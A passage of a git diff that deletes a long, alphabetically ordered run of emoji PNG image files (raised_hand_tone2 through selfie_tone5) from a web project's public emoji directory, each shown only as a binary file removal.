diff --git a/public/-/emojis/2/raised_hand_tone2.png b/public/-/emojis/2/raised_hand_tone2.png
deleted file mode 100644
index 4102aad4de4..00000000000
--- a/public/-/emojis/2/raised_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hand_tone3.png b/public/-/emojis/2/raised_hand_tone3.png
deleted file mode 100644
index 09184b09357..00000000000
--- a/public/-/emojis/2/raised_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hand_tone4.png b/public/-/emojis/2/raised_hand_tone4.png
deleted file mode 100644
index 15dabef36ad..00000000000
--- a/public/-/emojis/2/raised_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hand_tone5.png b/public/-/emojis/2/raised_hand_tone5.png
deleted file mode 100644
index 3188e48116f..00000000000
--- a/public/-/emojis/2/raised_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hands.png b/public/-/emojis/2/raised_hands.png
deleted file mode 100644
index f6bafa558df..00000000000
--- a/public/-/emojis/2/raised_hands.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hands_tone1.png b/public/-/emojis/2/raised_hands_tone1.png
deleted file mode 100644
index 40ff755d961..00000000000
--- a/public/-/emojis/2/raised_hands_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hands_tone2.png b/public/-/emojis/2/raised_hands_tone2.png
deleted file mode 100644
index 23720a722e5..00000000000
--- a/public/-/emojis/2/raised_hands_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hands_tone3.png b/public/-/emojis/2/raised_hands_tone3.png
deleted file mode 100644
index 35d985e2c86..00000000000
--- a/public/-/emojis/2/raised_hands_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hands_tone4.png b/public/-/emojis/2/raised_hands_tone4.png
deleted file mode 100644
index 391bdc8f6f7..00000000000
--- a/public/-/emojis/2/raised_hands_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raised_hands_tone5.png b/public/-/emojis/2/raised_hands_tone5.png
deleted file mode 100644
index 719221774f4..00000000000
--- a/public/-/emojis/2/raised_hands_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raising_hand.png b/public/-/emojis/2/raising_hand.png
deleted file mode 100644
index 086ade48685..00000000000
--- a/public/-/emojis/2/raising_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raising_hand_tone1.png b/public/-/emojis/2/raising_hand_tone1.png
deleted file mode 100644
index 4af9ea0790f..00000000000
--- a/public/-/emojis/2/raising_hand_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raising_hand_tone2.png b/public/-/emojis/2/raising_hand_tone2.png
deleted file mode 100644
index 6f0ea264e5c..00000000000
--- a/public/-/emojis/2/raising_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raising_hand_tone3.png b/public/-/emojis/2/raising_hand_tone3.png
deleted file mode 100644
index c8f1853d9bb..00000000000
--- a/public/-/emojis/2/raising_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raising_hand_tone4.png b/public/-/emojis/2/raising_hand_tone4.png
deleted file mode 100644
index 52be7a63641..00000000000
--- a/public/-/emojis/2/raising_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/raising_hand_tone5.png b/public/-/emojis/2/raising_hand_tone5.png
deleted file mode 100644
index a19d041db5f..00000000000
--- a/public/-/emojis/2/raising_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ram.png b/public/-/emojis/2/ram.png
deleted file mode 100644
index 8e8098917db..00000000000
--- a/public/-/emojis/2/ram.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ramen.png b/public/-/emojis/2/ramen.png
deleted file mode 100644
index 353ea2e812d..00000000000
--- a/public/-/emojis/2/ramen.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rat.png b/public/-/emojis/2/rat.png
deleted file mode 100644
index 349b9235f4f..00000000000
--- a/public/-/emojis/2/rat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/receipt.png b/public/-/emojis/2/receipt.png
deleted file mode 100644
index 6b1ddd7d9b8..00000000000
--- a/public/-/emojis/2/receipt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/record_button.png b/public/-/emojis/2/record_button.png
deleted file mode 100644
index ebfaacf52ad..00000000000
--- a/public/-/emojis/2/record_button.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/recycle.png b/public/-/emojis/2/recycle.png
deleted file mode 100644
index 597251943e1..00000000000
--- a/public/-/emojis/2/recycle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/red_car.png b/public/-/emojis/2/red_car.png
deleted file mode 100644
index 81093ca97c2..00000000000
--- a/public/-/emojis/2/red_car.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/red_circle.png b/public/-/emojis/2/red_circle.png
deleted file mode 100644
index 881a21f008c..00000000000
--- a/public/-/emojis/2/red_circle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/red_envelope.png b/public/-/emojis/2/red_envelope.png
deleted file mode 100644
index 8c1e4f04324..00000000000
--- a/public/-/emojis/2/red_envelope.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/red_haired.png b/public/-/emojis/2/red_haired.png
deleted file mode 100644
index 093aa52631f..00000000000
--- a/public/-/emojis/2/red_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_a.png b/public/-/emojis/2/regional_indicator_a.png
deleted file mode 100644
index 0ae823f7ca6..00000000000
--- a/public/-/emojis/2/regional_indicator_a.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_b.png b/public/-/emojis/2/regional_indicator_b.png
deleted file mode 100644
index 4cf034c1d98..00000000000
--- a/public/-/emojis/2/regional_indicator_b.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_c.png b/public/-/emojis/2/regional_indicator_c.png
deleted file mode 100644
index 3dce3346769..00000000000
--- a/public/-/emojis/2/regional_indicator_c.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_d.png b/public/-/emojis/2/regional_indicator_d.png
deleted file mode 100644
index 6d14f41c9cc..00000000000
--- a/public/-/emojis/2/regional_indicator_d.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_e.png b/public/-/emojis/2/regional_indicator_e.png
deleted file mode 100644
index 53e9caa1725..00000000000
--- a/public/-/emojis/2/regional_indicator_e.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_f.png b/public/-/emojis/2/regional_indicator_f.png
deleted file mode 100644
index c44bfaccbaa..00000000000
--- a/public/-/emojis/2/regional_indicator_f.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_g.png b/public/-/emojis/2/regional_indicator_g.png
deleted file mode 100644
index 098e8d066be..00000000000
--- a/public/-/emojis/2/regional_indicator_g.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_h.png b/public/-/emojis/2/regional_indicator_h.png
deleted file mode 100644
index 4d2d30ebc5f..00000000000
--- a/public/-/emojis/2/regional_indicator_h.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_i.png b/public/-/emojis/2/regional_indicator_i.png
deleted file mode 100644
index 96eb1b7d13d..00000000000
--- a/public/-/emojis/2/regional_indicator_i.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_j.png b/public/-/emojis/2/regional_indicator_j.png
deleted file mode 100644
index 353fd70e828..00000000000
--- a/public/-/emojis/2/regional_indicator_j.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_k.png b/public/-/emojis/2/regional_indicator_k.png
deleted file mode 100644
index 30e831bf6b5..00000000000
--- a/public/-/emojis/2/regional_indicator_k.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_l.png b/public/-/emojis/2/regional_indicator_l.png
deleted file mode 100644
index f33617a2f85..00000000000
--- a/public/-/emojis/2/regional_indicator_l.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_m.png b/public/-/emojis/2/regional_indicator_m.png
deleted file mode 100644
index 5a7c649dc76..00000000000
--- a/public/-/emojis/2/regional_indicator_m.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_n.png b/public/-/emojis/2/regional_indicator_n.png
deleted file mode 100644
index f06d6b8d3b5..00000000000
--- a/public/-/emojis/2/regional_indicator_n.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_o.png b/public/-/emojis/2/regional_indicator_o.png
deleted file mode 100644
index 3d071624a3e..00000000000
--- a/public/-/emojis/2/regional_indicator_o.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_p.png b/public/-/emojis/2/regional_indicator_p.png
deleted file mode 100644
index ca3f4b24179..00000000000
--- a/public/-/emojis/2/regional_indicator_p.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_q.png b/public/-/emojis/2/regional_indicator_q.png
deleted file mode 100644
index 1931fabf04e..00000000000
--- a/public/-/emojis/2/regional_indicator_q.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_r.png b/public/-/emojis/2/regional_indicator_r.png
deleted file mode 100644
index 0b211d7183c..00000000000
--- a/public/-/emojis/2/regional_indicator_r.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_s.png b/public/-/emojis/2/regional_indicator_s.png
deleted file mode 100644
index 9f9657dc679..00000000000
--- a/public/-/emojis/2/regional_indicator_s.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_t.png b/public/-/emojis/2/regional_indicator_t.png
deleted file mode 100644
index a71cad9a4ab..00000000000
--- a/public/-/emojis/2/regional_indicator_t.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_u.png b/public/-/emojis/2/regional_indicator_u.png
deleted file mode 100644
index 233f7641ee1..00000000000
--- a/public/-/emojis/2/regional_indicator_u.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_v.png b/public/-/emojis/2/regional_indicator_v.png
deleted file mode 100644
index 437a4cd5c29..00000000000
--- a/public/-/emojis/2/regional_indicator_v.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_w.png b/public/-/emojis/2/regional_indicator_w.png
deleted file mode 100644
index 6c78365b3f9..00000000000
--- a/public/-/emojis/2/regional_indicator_w.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_x.png b/public/-/emojis/2/regional_indicator_x.png
deleted file mode 100644
index 46f98ec56b8..00000000000
--- a/public/-/emojis/2/regional_indicator_x.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_y.png b/public/-/emojis/2/regional_indicator_y.png
deleted file mode 100644
index 066e81690a6..00000000000
--- a/public/-/emojis/2/regional_indicator_y.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/regional_indicator_z.png b/public/-/emojis/2/regional_indicator_z.png
deleted file mode 100644
index 4c3755221de..00000000000
--- a/public/-/emojis/2/regional_indicator_z.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/registered.png b/public/-/emojis/2/registered.png
deleted file mode 100644
index 3db4ffc74e1..00000000000
--- a/public/-/emojis/2/registered.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/relaxed.png b/public/-/emojis/2/relaxed.png
deleted file mode 100644
index d7219247828..00000000000
--- a/public/-/emojis/2/relaxed.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/relieved.png b/public/-/emojis/2/relieved.png
deleted file mode 100644
index a16a817d075..00000000000
--- a/public/-/emojis/2/relieved.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/reminder_ribbon.png b/public/-/emojis/2/reminder_ribbon.png
deleted file mode 100644
index 6a20747cb2e..00000000000
--- a/public/-/emojis/2/reminder_ribbon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/repeat.png b/public/-/emojis/2/repeat.png
deleted file mode 100644
index 26bd6e4442c..00000000000
--- a/public/-/emojis/2/repeat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/repeat_one.png b/public/-/emojis/2/repeat_one.png
deleted file mode 100644
index f6548556f35..00000000000
--- a/public/-/emojis/2/repeat_one.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/restroom.png b/public/-/emojis/2/restroom.png
deleted file mode 100644
index 7d3aac51d21..00000000000
--- a/public/-/emojis/2/restroom.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/revolving_hearts.png b/public/-/emojis/2/revolving_hearts.png
deleted file mode 100644
index d1000668e49..00000000000
--- a/public/-/emojis/2/revolving_hearts.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rewind.png b/public/-/emojis/2/rewind.png
deleted file mode 100644
index d28506ece02..00000000000
--- a/public/-/emojis/2/rewind.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rhino.png b/public/-/emojis/2/rhino.png
deleted file mode 100644
index fc991c3c3a6..00000000000
--- a/public/-/emojis/2/rhino.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ribbon.png b/public/-/emojis/2/ribbon.png
deleted file mode 100644
index 2f76ce33086..00000000000
--- a/public/-/emojis/2/ribbon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rice.png b/public/-/emojis/2/rice.png
deleted file mode 100644
index 15d37e1faae..00000000000
--- a/public/-/emojis/2/rice.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rice_ball.png b/public/-/emojis/2/rice_ball.png
deleted file mode 100644
index 721f8b4fdeb..00000000000
--- a/public/-/emojis/2/rice_ball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rice_cracker.png b/public/-/emojis/2/rice_cracker.png
deleted file mode 100644
index f252019d4a8..00000000000
--- a/public/-/emojis/2/rice_cracker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rice_scene.png b/public/-/emojis/2/rice_scene.png
deleted file mode 100644
index be82bd3d681..00000000000
--- a/public/-/emojis/2/rice_scene.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/right_facing_fist.png b/public/-/emojis/2/right_facing_fist.png
deleted file mode 100644
index 6ce85b913f7..00000000000
--- a/public/-/emojis/2/right_facing_fist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/right_facing_fist_tone1.png b/public/-/emojis/2/right_facing_fist_tone1.png
deleted file mode 100644
index af312d032e0..00000000000
--- a/public/-/emojis/2/right_facing_fist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/right_facing_fist_tone2.png b/public/-/emojis/2/right_facing_fist_tone2.png
deleted file mode 100644
index f395067988b..00000000000
--- a/public/-/emojis/2/right_facing_fist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/right_facing_fist_tone3.png b/public/-/emojis/2/right_facing_fist_tone3.png
deleted file mode 100644
index 5245415669f..00000000000
--- a/public/-/emojis/2/right_facing_fist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/right_facing_fist_tone4.png b/public/-/emojis/2/right_facing_fist_tone4.png
deleted file mode 100644
index cabd645aa9a..00000000000
--- a/public/-/emojis/2/right_facing_fist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/right_facing_fist_tone5.png b/public/-/emojis/2/right_facing_fist_tone5.png
deleted file mode 100644
index 376a2e7ea6b..00000000000
--- a/public/-/emojis/2/right_facing_fist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ring.png b/public/-/emojis/2/ring.png
deleted file mode 100644
index 9f4112505a9..00000000000
--- a/public/-/emojis/2/ring.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/robot.png b/public/-/emojis/2/robot.png
deleted file mode 100644
index 9cb31495061..00000000000
--- a/public/-/emojis/2/robot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rocket.png b/public/-/emojis/2/rocket.png
deleted file mode 100644
index 7e321e2eec7..00000000000
--- a/public/-/emojis/2/rocket.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rofl.png b/public/-/emojis/2/rofl.png
deleted file mode 100644
index 84e0da30456..00000000000
--- a/public/-/emojis/2/rofl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/roll_of_paper.png b/public/-/emojis/2/roll_of_paper.png
deleted file mode 100644
index 0fc7e24f28a..00000000000
--- a/public/-/emojis/2/roll_of_paper.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/roller_coaster.png b/public/-/emojis/2/roller_coaster.png
deleted file mode 100644
index 9418d467160..00000000000
--- a/public/-/emojis/2/roller_coaster.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rolling_eyes.png b/public/-/emojis/2/rolling_eyes.png
deleted file mode 100644
index dfeed389754..00000000000
--- a/public/-/emojis/2/rolling_eyes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rooster.png b/public/-/emojis/2/rooster.png
deleted file mode 100644
index 43d3a65bc8d..00000000000
--- a/public/-/emojis/2/rooster.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rose.png b/public/-/emojis/2/rose.png
deleted file mode 100644
index 172cd2bb212..00000000000
--- a/public/-/emojis/2/rose.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rosette.png b/public/-/emojis/2/rosette.png
deleted file mode 100644
index d258c6d0c94..00000000000
--- a/public/-/emojis/2/rosette.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rotating_light.png b/public/-/emojis/2/rotating_light.png
deleted file mode 100644
index 3e6f3e5a4be..00000000000
--- a/public/-/emojis/2/rotating_light.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/round_pushpin.png b/public/-/emojis/2/round_pushpin.png
deleted file mode 100644
index bac00889fa8..00000000000
--- a/public/-/emojis/2/round_pushpin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rowboat.png b/public/-/emojis/2/rowboat.png
deleted file mode 100644
index 7fe973b7a10..00000000000
--- a/public/-/emojis/2/rowboat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rowboat_tone1.png b/public/-/emojis/2/rowboat_tone1.png
deleted file mode 100644
index 0120b693ac7..00000000000
--- a/public/-/emojis/2/rowboat_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rowboat_tone2.png b/public/-/emojis/2/rowboat_tone2.png
deleted file mode 100644
index 2b1b128706d..00000000000
--- a/public/-/emojis/2/rowboat_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rowboat_tone3.png b/public/-/emojis/2/rowboat_tone3.png
deleted file mode 100644
index 6b780c613ca..00000000000
--- a/public/-/emojis/2/rowboat_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rowboat_tone4.png b/public/-/emojis/2/rowboat_tone4.png
deleted file mode 100644
index cfcca5ae566..00000000000
--- a/public/-/emojis/2/rowboat_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rowboat_tone5.png b/public/-/emojis/2/rowboat_tone5.png
deleted file mode 100644
index 8871256fc74..00000000000
--- a/public/-/emojis/2/rowboat_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/rugby_football.png b/public/-/emojis/2/rugby_football.png
deleted file mode 100644
index 65cb6237cae..00000000000
--- a/public/-/emojis/2/rugby_football.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/runner.png b/public/-/emojis/2/runner.png
deleted file mode 100644
index 58682ec509c..00000000000
--- a/public/-/emojis/2/runner.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/runner_tone1.png b/public/-/emojis/2/runner_tone1.png
deleted file mode 100644
index 4061a9f7f60..00000000000
--- a/public/-/emojis/2/runner_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/runner_tone2.png b/public/-/emojis/2/runner_tone2.png
deleted file mode 100644
index 91b46a452be..00000000000
--- a/public/-/emojis/2/runner_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/runner_tone3.png b/public/-/emojis/2/runner_tone3.png
deleted file mode 100644
index d4f89ae4abf..00000000000
--- a/public/-/emojis/2/runner_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/runner_tone4.png b/public/-/emojis/2/runner_tone4.png
deleted file mode 100644
index c083fb11342..00000000000
--- a/public/-/emojis/2/runner_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/runner_tone5.png b/public/-/emojis/2/runner_tone5.png
deleted file mode 100644
index a8ca2a8670d..00000000000
--- a/public/-/emojis/2/runner_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/running_shirt_with_sash.png b/public/-/emojis/2/running_shirt_with_sash.png
deleted file mode 100644
index 28fd2fb1c74..00000000000
--- a/public/-/emojis/2/running_shirt_with_sash.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sa.png b/public/-/emojis/2/sa.png
deleted file mode 100644
index e27af46f654..00000000000
--- a/public/-/emojis/2/sa.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/safety_pin.png b/public/-/emojis/2/safety_pin.png
deleted file mode 100644
index 6f1744350c1..00000000000
--- a/public/-/emojis/2/safety_pin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sagittarius.png b/public/-/emojis/2/sagittarius.png
deleted file mode 100644
index f695ea433f0..00000000000
--- a/public/-/emojis/2/sagittarius.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sake.png b/public/-/emojis/2/sake.png
deleted file mode 100644
index 8eec0357fc1..00000000000
--- a/public/-/emojis/2/sake.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/salad.png b/public/-/emojis/2/salad.png
deleted file mode 100644
index 46891e41083..00000000000
--- a/public/-/emojis/2/salad.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/salt.png b/public/-/emojis/2/salt.png
deleted file mode 100644
index 02344068cc8..00000000000
--- a/public/-/emojis/2/salt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sandal.png b/public/-/emojis/2/sandal.png
deleted file mode 100644
index 01ed9f1f628..00000000000
--- a/public/-/emojis/2/sandal.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sandwich.png b/public/-/emojis/2/sandwich.png
deleted file mode 100644
index 58972a13190..00000000000
--- a/public/-/emojis/2/sandwich.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/santa.png b/public/-/emojis/2/santa.png
deleted file mode 100644
index 3ee6482dc61..00000000000
--- a/public/-/emojis/2/santa.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/santa_tone1.png b/public/-/emojis/2/santa_tone1.png
deleted file mode 100644
index fbefcfd73fc..00000000000
--- a/public/-/emojis/2/santa_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/santa_tone2.png b/public/-/emojis/2/santa_tone2.png
deleted file mode 100644
index e9b5c962ba5..00000000000
--- a/public/-/emojis/2/santa_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/santa_tone3.png b/public/-/emojis/2/santa_tone3.png
deleted file mode 100644
index 0b31893b31f..00000000000
--- a/public/-/emojis/2/santa_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/santa_tone4.png b/public/-/emojis/2/santa_tone4.png
deleted file mode 100644
index 81838c7403d..00000000000
--- a/public/-/emojis/2/santa_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/santa_tone5.png b/public/-/emojis/2/santa_tone5.png
deleted file mode 100644
index de9972b3dd0..00000000000
--- a/public/-/emojis/2/santa_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/satellite.png b/public/-/emojis/2/satellite.png
deleted file mode 100644
index 21df13b7757..00000000000
--- a/public/-/emojis/2/satellite.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/satellite_orbital.png b/public/-/emojis/2/satellite_orbital.png
deleted file mode 100644
index eb7e2a7b665..00000000000
--- a/public/-/emojis/2/satellite_orbital.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sauropod.png b/public/-/emojis/2/sauropod.png
deleted file mode 100644
index 980de7f2794..00000000000
--- a/public/-/emojis/2/sauropod.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/saxophone.png b/public/-/emojis/2/saxophone.png
deleted file mode 100644
index 438903074e6..00000000000
--- a/public/-/emojis/2/saxophone.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scarf.png b/public/-/emojis/2/scarf.png
deleted file mode 100644
index afa18b5f54e..00000000000
--- a/public/-/emojis/2/scarf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/school.png b/public/-/emojis/2/school.png
deleted file mode 100644
index 2f480034634..00000000000
--- a/public/-/emojis/2/school.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/school_satchel.png b/public/-/emojis/2/school_satchel.png
deleted file mode 100644
index 18e5a3ff686..00000000000
--- a/public/-/emojis/2/school_satchel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scissors.png b/public/-/emojis/2/scissors.png
deleted file mode 100644
index b4d850d27c0..00000000000
--- a/public/-/emojis/2/scissors.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scooter.png b/public/-/emojis/2/scooter.png
deleted file mode 100644
index 583c5265a88..00000000000
--- a/public/-/emojis/2/scooter.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scorpion.png b/public/-/emojis/2/scorpion.png
deleted file mode 100644
index b32f6be1305..00000000000
--- a/public/-/emojis/2/scorpion.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scorpius.png b/public/-/emojis/2/scorpius.png
deleted file mode 100644
index 84248ce6308..00000000000
--- a/public/-/emojis/2/scorpius.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scotland.png b/public/-/emojis/2/scotland.png
deleted file mode 100644
index 08942b02bb8..00000000000
--- a/public/-/emojis/2/scotland.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scream.png b/public/-/emojis/2/scream.png
deleted file mode 100644
index 2f6d02acce0..00000000000
--- a/public/-/emojis/2/scream.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scream_cat.png b/public/-/emojis/2/scream_cat.png
deleted file mode 100644
index ce4da6440ed..00000000000
--- a/public/-/emojis/2/scream_cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/scroll.png b/public/-/emojis/2/scroll.png
deleted file mode 100644
index 3dbda2c5585..00000000000
--- a/public/-/emojis/2/scroll.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/seat.png b/public/-/emojis/2/seat.png
deleted file mode 100644
index 66feefe289b..00000000000
--- a/public/-/emojis/2/seat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/second_place.png b/public/-/emojis/2/second_place.png
deleted file mode 100644
index 015d16b553e..00000000000
--- a/public/-/emojis/2/second_place.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/secret.png b/public/-/emojis/2/secret.png
deleted file mode 100644
index 00df83cc5e9..00000000000
--- a/public/-/emojis/2/secret.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/see_no_evil.png b/public/-/emojis/2/see_no_evil.png
deleted file mode 100644
index 9ab654dc4d3..00000000000
--- a/public/-/emojis/2/see_no_evil.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/seedling.png b/public/-/emojis/2/seedling.png
deleted file mode 100644
index 7222bd39203..00000000000
--- a/public/-/emojis/2/seedling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/selfie.png b/public/-/emojis/2/selfie.png
deleted file mode 100644
index ac3a583c00f..00000000000
--- a/public/-/emojis/2/selfie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/selfie_tone1.png b/public/-/emojis/2/selfie_tone1.png
deleted file mode 100644
index 3fd42c2e143..00000000000
--- a/public/-/emojis/2/selfie_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/selfie_tone2.png b/public/-/emojis/2/selfie_tone2.png
deleted file mode 100644
index e974ae34b27..00000000000
--- a/public/-/emojis/2/selfie_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/selfie_tone3.png b/public/-/emojis/2/selfie_tone3.png
deleted file mode 100644
index cb6b932da73..00000000000
--- a/public/-/emojis/2/selfie_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/selfie_tone4.png b/public/-/emojis/2/selfie_tone4.png
deleted file mode 100644
index 0a33bfb6f74..00000000000
--- a/public/-/emojis/2/selfie_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/selfie_tone5.png b/public/-/emojis/2/selfie_tone5.png
